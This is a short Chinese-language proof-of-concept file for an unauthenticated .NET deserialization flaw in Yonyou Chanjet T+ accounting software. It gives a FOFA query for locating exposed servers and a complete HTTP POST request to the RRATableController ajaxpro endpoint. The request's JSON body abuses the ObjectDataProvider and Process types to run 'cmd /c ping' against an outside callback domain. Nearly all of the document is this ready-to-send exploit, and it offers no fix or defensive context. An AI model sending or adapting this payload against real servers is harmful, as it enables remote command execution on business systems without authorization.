用友畅捷通RRATableController存在反序列化漏洞.md

用友畅捷通RRATableController存在反序列化漏洞

用友畅捷通 T+ /tplus/ajaxpro/Ufida.T.DI.UIP.RRA.RRATableController,Ufida.T.DI.UIP.ashx接口存在.net反序列化漏洞，未经过身份认证的攻击者可以通过构造恶意的序列化请求在目标服务器上执行任意命令。

fofa

app="畅捷通-TPlus"

poc

POST /tplus/ajaxpro/Ufida.T.DI.UIP.RRA.RRATableController,Ufida.T.DI.UIP.ashx?method=GetStoreWarehouseByStore HTTP/1.1
Host: your-ip
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/122.0.0.0 Safari/537.36
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.7
Accept-Encoding: gzip, deflate, br
Accept-Language: zh-CN,zh;q=0.9,en;q=0.8
Content-Type: application/json
{
  "storeID":{
    "__type":"System.Windows.Data.ObjectDataProvider, PresentationFramework, Version=4.0.0.0, Culture=neutral, PublicKeyToken=31bf3856ad364e35",
    "MethodName":"Start",
    "ObjectInstance":{
        "__type":"System.Diagnostics.Process, System, Version=4.0.0.0, Culture=neutral, PublicKeyToken=b77a5c561934e089",
        "StartInfo": {
            "__type":"System.Diagnostics.ProcessStartInfo, System, Version=4.0.0.0, Culture=neutral, PublicKeyToken=b77a5c561934e089",
            "FileName":"cmd", "Arguments":"/c ping bfygdwmtkk.dgrh3.cn"
       }
    }
  }
}